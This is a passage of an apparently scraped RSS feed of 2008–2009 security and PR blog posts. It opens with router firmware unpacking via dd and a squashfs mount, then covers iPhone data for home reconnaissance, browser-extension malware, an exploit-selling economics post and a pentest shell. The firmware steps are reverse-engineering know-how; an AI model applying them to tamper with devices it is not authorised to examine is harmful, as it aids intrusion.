<pre><code>size = 00400000
file = WVC54GCA.bin
f1_name = loader
f1_start = 00000000
f2_name=loader.ver
f2_start=00007FFE
f3_name=<strong>kernel</strong>
f3_start=<strong>00020000</strong>
f4_name=<strong>filesystem</strong>
f4_start=<strong>000E0000</strong>
f5_name=PID
f5_start=003FFFB2</code></pre>

<p>I simply focused on the <code>kernel</code> and <code>filesystem</code> parameters. The previous settings show that then kernel starts at <code>0x20000</code> (131072 bytes / 128 KB), and the filesystem starts at <code>0xE0000</code> (917504 bytes / 896 KB). In order to start <a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/Dd_(Unix)">dd</a> reading at <code>0xE0000</code>, we need to keep 7 chunks of 131072 bytes. i.e.:<code>7*131072=917504 bytes=0xE0000</code> (the position we want)</p>

<pre><code>$ dd if=DYFF08-402-1024.bin bs=<strong>131072</strong> of=fs.img skip=<strong>7</strong>
25+0 records in
25+0 records out
3276800 bytes (3.3 MB) copied, 0.019424 s, 169 MB/s</code></pre>

<p>We then verify that our image file is a valid <code>squashfs</code> filesystem:</p>

<pre><code>$ file fs.img 
fs.img:<strong> Squashfs</strong> filesystem, little endian, version 3.0, 2216311 bytes, 475 inodes, blocksize: 65536 bytes, created: Fri Nov  9 03:58:52 2007</code></pre>

<p>A finally mount it on our hardrive:</p>

<pre><code>$ sudo mkdir /mnt/test
$ sudo mount -t <strong>squashfs</strong> fs.img /mnt/test -o ro,loop
$ ls /mnt/test/
bin  dev  etc  lib  mnt  proc  root  sbin  tmp  usr  var</code></pre><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/i5HZCjdXt3I" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Breaking Into a Home With an iPhone</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/0BDN8BPqizg/</link>
         <description>This is going to be one of these quick posts which just makes you think what the information security landscape will be like in 5 years. Before I move on with my commentary, here is a video which is essential for you to watch.



Got the idea? No? Let me explain. What you see in the video above is an application for the iPhone which gives you detailed characteristics of properties (houses) in USA. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3211</guid>
         <pubDate>Mon, 11 May 2009 11:27:16 +0000</pubDate>
         <content:encoded><![CDATA[<p>This is going to be one of these quick posts which just makes you think what the information security landscape will be like in 5 years. Before I move on with my commentary, here is a video which is essential for you to watch.</p>

<div class="screen"><embed src="http://www.youtube.com/v/rJfrdcbfXsc&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" width="560" height="340"></iframe></div> 

<p>Got the idea? No? Let me explain. What you see in the video above is an application for the iPhone which gives you detailed characteristics of properties (houses) in USA. You can either search the map or just use your GPS coordinates to get information such as price of the house, number of floors, number of rooms, pictures taken from inside the house if the house was part of any register (letting agencies etc.) before you moved in, and other interesting information.</p>

<p>This is the kind of information gathering you see only in the movies. I won&#8217;t be surprised if future versions of these kind of applications can pool even essential blueprints which show not only how the house was constructed from architectural point of view but also show the power and gas grids and perhaps even any other wiring such as telephone, coaxial, etc.</p>

<p>All of this information is also available through easily accessible APIs. Perhaps these APIs are not publicly known but anyone who can run a sniffer most certainly can get hold of the URLs and their formats. Now mash this APIs with any other tool such as one that correlates IP address to physical location (not very accurate btw) or better yet a wardriving tool and you have a infowar machine in your pocket that will make any criminal organization proud of.</p>

<p>This was the main purpose of my <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/for-my-next-trick-hacking-web20/">Web2.0 talk/research</a> from two years ago. Back then I made a very simple analogy which I would like to bring once again. When the email was invented nobody even suspected that it will be used for things such as spam and malware. That was something unimaginable. Today spam is the fastest growing criminal industry and malware delivered over email is the most successful one. In summary, we cannot foresee how a technology will be used/abused. That depends on the imagination of the people.</p>

<p>The same goes for the Web2.0 meme. The more we use it, the more ways we will find to abuse it. However it is also important to say that the more we use it the more accustomed we will become to it. Therefore, when the shit hits the fan there will be very little that we can do.</p>

<p><em>The reason I am bringing this up is not because I would like to start even more FUD around the Web2.0 mem but it is time for us to stop looking into the technical aspects and start thinking in terms of technologies that affect normal people. Sometimes, we just lack the realism and we fail to spot the obvious problems.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/0BDN8BPqizg" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Extensions at War</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/V3taPIIsstw/</link>
         <description>Oh yes, the digital battlefield is taking unusual shapes. The latest manifestation of cyber warfare is a conflict between the Adblock Plus and the NoScript extensions. The story goes that NoScript used some JavaScript tactics and, of course, some obfuscations in order to cripple the Adblock Plus functionalities. This attack was a response to Adblock Plus blocking NoScript ads which you see when you upgrade the extension, which as you know happens quite regularly, don&amp;#8217;t know why. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3171</guid>
         <pubDate>Sun, 03 May 2009 08:37:28 +0000</pubDate>
         <content:encoded><![CDATA[<p>Oh yes, the digital battlefield is taking unusual shapes. The latest manifestation of cyber warfare is a conflict between the Adblock Plus and the NoScript extensions. The <a rel="nofollow" target="_blank" href="http://adblockplus.org/blog/attention-noscript-users">story goes</a> that NoScript used some JavaScript tactics and, of course, some obfuscations in order to cripple the Adblock Plus functionalities. This attack was a response to Adblock Plus blocking NoScript ads which you see when you upgrade the extension, which as you know happens quite regularly, don&#8217;t know why.</p>

<p>The conflict seems to be resolved now to one degree or another but it is interesting to observe the whole situation and also draw important conclusions. Therefore, I&#8217;ve got several points I would like to bring to the table:</p>

<ol>
<li>More examples of similar nature will follow. Keep an eye on Facebook, Apple AppStore, Firefox and other platforms that allow 3rd-party components to be displayed, downloaded and executed.</li>
<li><a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/firefox-malware/">As I mentioned before</a>, a malicious piece of JavaScript code (even an obvious obfuscation) can be quite easily smuggled into harmlessly looking Firefox extensions. If I may speculate, the situation is the same for other similar platforms.</li>
<li>Unless platform vendors do something about it, they could become the next hot spot for all sorts of interesting malware.</li>
</ol>

<p><em>It is also very interesting to see the extend to which extension developers will go in order to protect their userbase. After all, larger userbase equals more money. And with <a rel="nofollow" target="_blank" href="http://blog.trailofbits.com/2009/03/22/no-more-free-bugs/">more people looking to quickly cache in</a>, the battlefield is truly changing for better or worse.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/V3taPIIsstw" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Exploit Sweatshop</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/rELeF2i51BY/</link>
         <description>When I was playing/introducing the partial disclosure practice an year and something ago, I did get contacted by numerous dodgy characters willing to buy yet undisclosed vulnerabilities for substantial amount of money. Of course, requests of that nature were kindly ignored. I couldn&amp;#8217;t believe that someone was willing to give me so much money for something I virtually spent 2-3 hours maximum to produce. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3141</guid>
         <pubDate>Thu, 30 Apr 2009 12:04:47 +0000</pubDate>
         <content:encoded><![CDATA[<p>When I was playing/introducing the partial disclosure practice an year and something ago, I did get contacted by numerous dodgy characters willing to buy yet undisclosed vulnerabilities for substantial amount of money. Of course, requests of that nature were kindly ignored. I couldn&#8217;t believe that someone was willing to give me so much money for something I virtually spent 2-3 hours maximum to produce.</p>

<p>Later on, during the CONFidence 2008 event in Krakow I met a bunch of people who claimed that they already sell exploits to various UK companies and the figures that they were making were outstanding. To give you a clue, given the pound dollar difference at that time, you could have made 6 times more than what ZDI and other similar programs can offer you for a top range exploit. This is already better than a top salary in UK.</p>

<p>Same year, different event&#8230;  I saw an interesting presentation by Robert McArdle from Trend Micro. The presentation was titled <q>Fighting web Based, Profit-Driven Threats</q>. On one of his slides, Robert commented that <q>cybercrime is becoming more profitable than the drug cartels</q>. Perhaps you wont be able to make as much money from carding as you might expect but you can do quite well selling visualized stuff, such as exploits and exploit toolkits.</p>

<p>Present times, DojoSec Monthly Briefings&#8230; Matthew Watchinski from Sourcefire VRT <a rel="nofollow" target="_blank" href="http://vimeo.com/4110571">talked</a> about a PDF 0day spreading around Xmas time. The exploit took a couple of good months for Adobe to fix it. The author sold it for 75K to a unknown 3rd-party in China according to Matthew. The vulnerability was also relatively easy to find and required very little experience to exploit.</p>

<p>All of this leads to the very obvious conclusion which is that at present times cybercrime is a flourishing industry. Soon, there will be even more recruits coming to join the dark-side forces of the cybercrime cartels. They will do it for the money!</p>

<blockquote>No more free bugs you say? I say that <strong>you</strong> are leading people to become the next generation of cyber menace. Perhaps you forgot that the information security community was built on and thrived because of a simple but fundamental principle: knowledge must be free.</blockquote>

<h3>Sell The Bugs</h3>

<p>Regardless how good these figures may sound to you, you need to take a step back and think really well what you are getting into. Here are a few points that you need to consider before selling exploits:</p>

<ul>
<li><strong>Cybercrime is not a joke</strong> &#8211; If you get caught selling exploits to a dodgy 3rd-party you may end up with a prison sentence longer than the sentence of a child molester. If you live in US or UK you could be charged and treated as a terrorist which will completely destroy not only your life but the life of your closes people.</li>
<li><strong>TAX man problems</strong> &#8211; Oh Yes! Unjustifiable incomes could get you in trouble with the TAX man. The TAX man will hunt you and hurt you.</li>
<li><strong>Broken legs and other broken parts of the body</strong> &#8211; You have no idea to whom you are selling to. Tomorrow you may wake up with broken legs and twice as poorer as the day before.</li>
<li><strong>Even worse</strong> &#8211; People will kill for a lot less than 75K. Keep that in mind.</li>
</ul>

<p>In my humble opinion, exploit brokerage is a risky business. There is an unquantifiable risk associated with this practice and that is only due to the high price of exploits which are sold today.</p>

<h3>Exploit Sweatshop</h3>

<p>Nevertheless, it is just silly to believe that no one is producing and selling exploits in a large scale. Do you remember the numerous gaming sweatshops which sprung up like wild mushrooms after the recent heavy rains in 3rd-world countries? I recall seeing a documentary on a typical day in a Chinese WoW sweatshop. I remember I saw a room full of almost naked people, numerous PCs hooked up into a gigantic DIY network spreading across the entire floor. Most of the WoW accounts were fully automated, running from virtualized platforms.</p>

<p>The aim was simple: <strong>a)</strong> develop many characters in a semi-automated fashion by killing small animals and other things around the WoW world and <strong>b)</strong> sell the characters plus other artifacts to western buyers for a substantial amount of money. All of this can be achieved for as little as $70 a month per person. This is a remarkable business model which works extremely well.</p>

<p>Similarly, all you need is a bunch of programmers from India, China, or Eastern Europe to code up fuzzers and run them against as many software products as possible. At the end of the day memory corruption exploits a relative easy to detect. All you need is a crash caused by putting far too many 0&#215;41 in a buffer. The crash is already an indication that something is wrong. It requires a bit of manual work to figure out whether the crash is exploitable. From personal experience, and by looking into the work of my peers, it takes approximately 10 days to develop a crash into an exploit. Most of the times, the exploitability factor of a crash is apparent and therefore no time needs to be wasted. Other times, a crash can be archived for future investigation when it could become exploitable given it meets the necessary conditions.</p>

<p>Perhaps you can do all that by paying someone as little as $70 a month as it is the case with WoW sweatshops. That is 3 times less than what I am paying for just hosting. Therefore, I most certainly can afford to hire 3-4 people right now and even double their salaries, but let&#8217;s do the maths:</p>

<pre><code># average exploit price: <strong>$5000</strong>
# number of people to hire: <strong>5</strong>
# average monthly salary: <strong>$100</strong>
# job specs: <strong>write fuzzers</strong>

5 * 100 = $500 # a month expenses
5000 / 500 = 10 # months worth of work</code></pre>

<p>Heck, I can even put this bill on my credit card and pay as little as $50 a month. The chances that I will sell an exploit for $5K in the next 10 months are pretty high. $5K is only if I go with a legitimate company. I can probably make 6 times more by selling it to a dodgy 3rd-party. The only thing I need to worry about is the risk.</p>

<h3>Some Final Words</h3>

<p>Finally, I know that a lot of people are into the security business because of all the romanticism and the myths surrounding the <q>hacker</q> figure. Things look different once you become the hacker and your day job and lifestyle are surrounded by hacking and breaking into systems of any sort. There is nothing romantic about it.</p>

<p><em>So, don&#8217;t get into trouble for the wrong reasons. If you are young and you need advice what to do with your career, contact us or contact any one who has been into this industry long enough to give you a good and sensible advice. Just don&#8217;t jump onto the <q>No free bugs!</q> bandwagon.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/rELeF2i51BY" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Jeriko Group and Source Code Repository</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/TtNVvmtSyEM/</link>
         <description>Jeriko moved in its own source code repository which you will be able to find here. There is also a discussion group here, if you feel like using it.

The version inside the new code repository is very different from the version you&amp;#8217;ve seen before. The main difference is that while the old version is basically a collection of scripts, the new version implements its own shell (wrapper around bash) which does the heavily lifting and also introduces some funky programming mechanisms. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3130</guid>
         <pubDate>Tue, 28 Apr 2009 06:50:39 +0000</pubDate>
         <content:encoded><![CDATA[<p>Jeriko moved in its own source code repository which you will be able to find <a rel="nofollow" target="_blank" href="http://code.google.com/p/jeriko/">here</a>. There is also a discussion group <a rel="nofollow" target="_blank" href="http://groups.google.com/group/Jeriko">here</a>, if you feel like using it.</p>

<p>The version inside the new code repository is very different from the version you&#8217;ve seen before. The main difference is that while the old version is basically a collection of scripts, the new version implements its own shell (wrapper around bash) which does the heavily lifting and also introduces some funky programming mechanisms. For example, now you can create jeriko scripts like this:</p>

<pre><code>#/usr/bin/env jeriko
# do my jeriko commands here
foreach-input | add-targets
generate-scan-batch | run-in-parallel</code></pre>

<p>This is perhaps the simplest possible script you can write but you see that the jeriko shell could turn into a quite powerful feature. The shell is also a good starting point for many penetration testing jobs as it does some environment checking and preconfigures some defaults for you. The other good news is that you don&#8217;t have to learn a new programming language. Your bash skills are good for jeriko too.</p>

<p><em>Just keep in mind that jeriko is merely an experiment. However, I realize that it has already become quite useful for some people. So, if you enjoy playing with bash scripts, and you you feel adventurous, please join us and make this project happen.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/TtNVvmtSyEM" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Miss “Accountable” 2008</title>
         <link>http://www.spinhunters.org/blog/miss-accountable-2008/</link>
         <description>The beauty award this year goes to the International Federation of Organic Agriculture Movements (IFOAM), followed by the European Bank of Reconstruction and Development and Unicef. The lowest reputation scores, however, were received by International Olympic Committee and NATO. Not surprising at all ! [...]</description>
         <guid isPermaLink="false">https://www.spinhunters.org/?p=174</guid>
         <pubDate>Fri, 12 Dec 2008 20:23:39 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://flickr.com/photos/xjy/51519638/"><img class="initial-capital" src="http://farm1.static.flickr.com/29/51519638_6b899a7d1c_m.jpg?v=0" alt="051003 storting crown prince's crown"/></a>

<p>The beauty award this year goes to the <a rel="nofollow" target="_blank" href="http://www.ifoam.org/">International Federation of Organic Agriculture Movements (IFOAM)</a>, followed by the <a rel="nofollow" target="_blank" href="http://www.ebrd.com/">European Bank of Reconstruction and Development</a> and <a rel="nofollow" target="_blank" href="http://www.unicef.org.uk/">Unicef</a>. The lowest reputation scores, however, were received by International Olympic Committee and NATO. Not surprising at all ! You should not expect that  military and sport organizations would have been ranked higher than that, especially when their image is closely related to the general image of the services they offer and the image the places where their headquartered are based. Being accountable is also a tough task for most corporations as they fail to deploy effective policies and active management systems.</p>

<p><strong>The Contest:</strong> According to the latest survey of <a rel="nofollow" target="_blank" href="http://www.oneworldtrust.org/">One World Trust</a> (a British Think Tank), the IFOAM, along with 29 other powerful organizations, have been assessed in terms of their accountability to stakeholders and wider public. The scope of the research was based on the assessment of four major criteria such as transparency, participation with outsiders, evaluation and complains handling. Turns out that none of the companies actually managed to score higher than 70 percent accountability which is very low and insufficient result. The official report also states:</p>

<blockquote>A score of 70 percent indicates that an organisation has policies in place that meet only some good practice principles and the basic management systems to support their implementation.  This is the floor, not the ceiling, of accountability capabilities. If global organisations are to be part of the solution to global challenges, there needs to be a step change in their approaches to accountability.  They need to start implementing the more challenging accountability reforms which truly empower external stakeholders to hold an organisation to account. Organisations must also take the necessary steps to embed accountability in their culture and ensure it is being translated into practice.</blockquote>

<p>The other interesting conclusion that has been made is that all of the evaluated companies failed to show good scores (more than 50 percent) in their transparency policies and complaint handling procedures.  It is funny that <a rel="nofollow" target="_blank" href="http://www.transparency.org/">Transparency International</a> (a global organization that tries to fight corruption) takes one of the lowest positions in this chart. Why is this so important? Well, from a Black PR perspective, these are pretty severe vulnerabilities. If an attacker manage to hack into the corporate complaint tracking software and steals all of the important data, he can easily turn that into a massive negative campaign. The affected organization will be not only caught into a very awkward situation, but it will be unable to respond properly to the increasing flow of stakeholders complaints. This also leads to intense media attention and general public dissatisfaction.</p>

<p>One more thing &#8211; I did a little research on my own and I found out that the Google Page Ranks of the less accountable organizations is way higher than the the Page Rank of the organizations on the top of the list. However, if you type their name and the word <q>reputation</q> into the search box, you will find that the first couple of pages are filled with negative publications and comments . I guess popularity is not always proportionally related to the general stakeholders&#8217; respect.</p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Crisis Communication Is Like …Surfing</title>
         <link>http://www.spinhunters.org/blog/crisis-communication-is-like-surfing/</link>
         <description>I don&amp;#8217;t know about you but today I have started writing my New Year&amp;#8217;s Resolution List. One of the things I am eager to do next year is to learn how to surf. It&amp;#8217;s cool, risky and very challenging. What I like most about it is the sense of uncertainty and the way you need to survive with a minimum set of resources.

Surfin is like crisis management, don&amp;#8217;t you think? [...]</description>
         <guid isPermaLink="false">https://www.spinhunters.org/?p=169</guid>
         <pubDate>Wed, 10 Dec 2008 19:57:31 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://flickr.com/photos/hell_silva/964565773/"><img class="initial-capital" src="http://farm2.static.flickr.com/1430/964565773_44fcb87572_m.jpg?v=0" alt="too much surf in your head?"/></a>

<p>I don&#8217;t know about you but today I have started writing my New Year&#8217;s Resolution List. One of the things I am eager to do next year is to learn how to surf. It&#8217;s cool, risky and very challenging. What I like most about it is the sense of uncertainty and the way you need to survive with a minimum set of resources.</p>

<p>Surfin is like crisis management, don&#8217;t you think? If you actually compare some of the basic tutorials in both disciplines, you will probably find a lots of similarities. So, once you master the ability to stay upright on the board, you can easily gain a confidence for dealing with some of the most severe crisis in the corporate world.</p>

<h3>How to Start</h3>

<p>When a crisis occurs, the first thing to consider is finding the balance point. Use your company&#8217;s strengths and all those positive qualities that cannot be doubted by the others. This will help you to balance out all the negative publications and unfair accusations. For example, if your organization is being socially responsible and undertakes many charitable events, this actually can help to save your stakeholders&#8217; trust and turn the crisis into unexpected corporate profit.</p>

<p>The second crucial habit that must be developed is the ability to respond as quickly as possible to the changing environment. The speed is absolutely everything for both surfing and crisis management. It gives you not only a competitive edge, but also the power to predict every negative outcomes. At the same time, do not forget to keep it low once you get the situation back in control.  In almost every zoology book it is stated that the most dangerous moments for the target is right after its escape form the predator.  So if you keep looking at your feet, you will definitely fall down again. Instead, you should &#8220;cover the back of your head&#8221; and protect all your vital assets from further damages. Stay &#8220;under the water&#8221; as long as you can, but never lose the honesty in your conversations.</p>

<p>Safety should always be in the back of your mind, which is a reason why you should never be surfing alone. You never know what might go wrong even on the smallest of waves &#8211; its good to have someone who can help you out if you get into trouble.</p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Back In The Classroom: Noam Chomsky on Corporate Propaganda Techniques</title>
         <link>http://www.spinhunters.org/blog/back-in-the-classroom-noam-chomsky-on-corporate-propaganda-techniques/</link>
         <description>I just stumbled across an old video on YouTube and I think it is worth sharing. The video is about the origin of the Public Relations industry in the US and why the modern democratic societies need to be manipulated.



As it turns out, the free public mind is one of the greatest threats to many corporations and political regimes as it could easily destroy their long-term goals, ideologies and operations. [...]</description>
         <guid isPermaLink="false">https://www.spinhunters.org/?p=158</guid>
         <pubDate>Fri, 05 Dec 2008 20:03:59 +0000</pubDate>
         <content:encoded><![CDATA[<p>I just stumbled across an old video on YouTube and I think it is worth sharing. The video is about the origin of the Public Relations industry in the US and why the modern democratic societies need to be manipulated.</p>

<div class="screen"><embed src="http://www.youtube.com/v/a4K2uBI61z4&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" width="425" height="344"></iframe></div> 

<p>As it turns out, the free public mind is one of the greatest threats to many corporations and political regimes as it could easily destroy their long-term goals, ideologies and operations. Chomsky also says that the idea of democracy gives an enormous, anarchic power to the regular people, which could be quite harmful to the society in general.  Actually, propaganda is one of the Chomsky&#8217;s favorite topics as he wrote many books about it &#8211; <em>Media Control: The Spectacular Achievements of Propaganda</em>, <em>Manufacturing Consent: The Political Economy of the Mass Media and Propaganda</em> and <em>The Public Mind: Conversations with Noam Chomsky</em>. Great reads for those who are interested.</p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>A Note For Hillary: Stop Tarnishing The Democratic Values</title>
         <link>http://www.spinhunters.org/blog/a-note-for-hillary-stop-tarnishing-the-democratic-values/</link>
         <description>It is official! Hillary Clinton is finally appointed as the new Secretary of State. Congrats!!!! Let me tell you, this lady is everything, but a loser and will do everything just to get to the power of the state. It seems like she is absolutely capable of taking every political position you can think about of &amp;#8211; a first lady, a senator, a president wanna-be, a vice president and if all this fail why not a head of international affairs. [...]</description>
         <guid isPermaLink="false">https://www.spinhunters.org/?p=148</guid>
         <pubDate>Wed, 03 Dec 2008 22:41:08 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://flickr.com/photos/saz/34630357/"><img class="initial-capital" src="http://farm1.static.flickr.com/21/34630357_a5b1c00f5d_m.jpg?v=0" alt="note"/></a>

<p>It is official! Hillary Clinton is finally appointed as the new Secretary of State. Congrats!!!! Let me tell you, this lady is everything, but a loser and will do everything just to get to the power of the state. It seems like she is absolutely capable of taking every political position you can think about of &#8211; a first lady, a senator, a president wanna-be, a vice president and if all this fail why not a head of international affairs. There is nothing wrong with this, except that the recent political history is entirely dominated by families like the Bushes and the Clintons. Looks like once you taste the power of the White House, it is not easy to give it up. I cannot help but wonder, where is the real change that we are awaiting for so long?</p>

<p>Funny enough, just few weeks ago both Hillary Clinton and Barack Obama said that they want to improve America&#8217;s standing in the world. The Democart&#8217;s victory was easily labeled by different media outlets as &#8220;historic&#8221; and has put hopes for a brighter future not only in US, but also in the whole world itself. Barack Obama is not just the first black president; he is a symbol of new political standards, a chance of economic survival and a representative of  new class of world leaders. For a first time in many years (maybe after Nelson Mandela&#8217;s jail release), people all over the world were united in something bigger than their own social troubles. They were proud of the choice they made and were actually interested in following the news, counting the votes and somehow been personally involved in the whole competition.</p>

<h3>What happened?</h3>

<p>Let me take you back to the time when Hillary Clinton tried to &#8220;nominate&#8221; herself as a potential candidate for vice-presidency. Every rational political analyst at that time fiercely criticized the opportunity of pairing the &#8220;two former rivals&#8221; into the same election list. Moreover, it was said to be an absolutely wrong move and a second chance for Bill Clinton to overshadow the upcoming cabinet. Hillary was also seen as an obstacle that could put many prospective voters off the Obama&#8217;s political platform. Not to mention about the numerous dirty tricks that both candidates used to play to each other. Actually the fight between them was even more bitter and more aggressive than the one with the Republicans.</p>

<p>Today, after the election, the partnership between Obama and Clinton has been suddenly seen as logical conclusion of a long, exhausting race. However there are still a couple of issues that must be considered.  Hillary is not the type of a woman that will be easily controlled. No matter how suitable or experienced she is for being a Secretary of State, she also has a wide network of business/political connections which could put her into a great dominance over the rest of the crew. This means that her political leverage will be getting stronger and stronger each day,  which kind of makes this team ineffective at its very beginning.</p>

<h3>Bottom Line:</h3>

<p>One of the good things about Democracy is the idea of free choice. The American people were actually unable to vote about the alliance between Hillary and Obama (as it would happen if she was officially named his running mate). Now they are forced to accept it. All this raises the question if we ever had the opportunity to choose between different democratic alternatives or everything was already set up as part of a nasty, political scenario. No matter how good it sounds in theory, the change has been already made, unfortunately not by us.</p>

